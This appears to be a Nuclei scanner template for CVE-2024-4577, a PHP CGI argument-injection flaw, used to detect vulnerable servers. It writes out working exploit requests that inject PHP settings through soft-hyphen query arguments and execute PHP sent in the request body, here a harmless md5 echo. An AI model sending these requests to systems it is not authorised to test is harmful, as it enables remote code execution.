2024-06-07 15:28:59 +00:00
|
|
|
id: CVE-2024-4577
|
|
|
|
|
|
|
|
info:
|
2024-06-09 19:26:25 +00:00
|
|
|
name: PHP CGI - Argument Injection
|
|
|
|
author: Hüseyin TINTAŞ,sw0rk17,securityforeveryone,pdresearch
|
|
|
|
severity: critical
|
2024-06-07 15:28:59 +00:00
|
|
|
description: |
|
2024-06-09 19:40:14 +00:00
|
|
|
PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.
|
2024-06-09 19:26:25 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation could lead to remote code execution on the affected system.
|
|
|
|
remediation: |
|
|
|
|
Apply the vendor-supplied patches or upgrade to a non-vulnerable version.
|
2024-06-09 19:27:20 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2024-06-09 19:26:25 +00:00
|
|
|
tags: cve,cve2024,php,cgi,rce
|
2024-06-07 15:28:59 +00:00
|
|
|
|
2024-06-09 19:45:25 +00:00
|
|
|
http:
|
2024-06-09 19:26:25 +00:00
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
|
|
|
|
- "{{BaseURL}}/index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
|
|
|
|
- "{{BaseURL}}/test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
|
|
|
|
- "{{BaseURL}}/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
|
2024-06-07 15:28:59 +00:00
|
|
|
|
2024-06-09 19:26:25 +00:00
|
|
|
body: |
|
|
|
|
<?php echo md5("CVE-2024-4577"); ?>
|
2024-06-07 15:28:59 +00:00
|
|
|
|
2024-06-09 19:26:25 +00:00
|
|
|
stop-at-first-match: true
|
2024-06-07 15:28:59 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
2024-06-09 19:26:25 +00:00
|
|
|
part: body
|
2024-06-07 15:28:59 +00:00
|
|
|
words:
|
2024-06-09 19:26:25 +00:00
|
|
|
- "3f2ba4ab3b260f4c2dc61a6fac7c3e8a"
|
2024-06-09 19:45:30 +00:00
|
|
|
# digest: 4a0a0047304502202f2c58605604d971b9179343f2f392f5b017faff6fc579a6174baa96cc2bccdd0221008d95bd2cfed96674e0cb86a73bcb16796d8d5a4910d661d7d088a5b4c14adec7:922c64590222798bb761d5b6d8e72950
|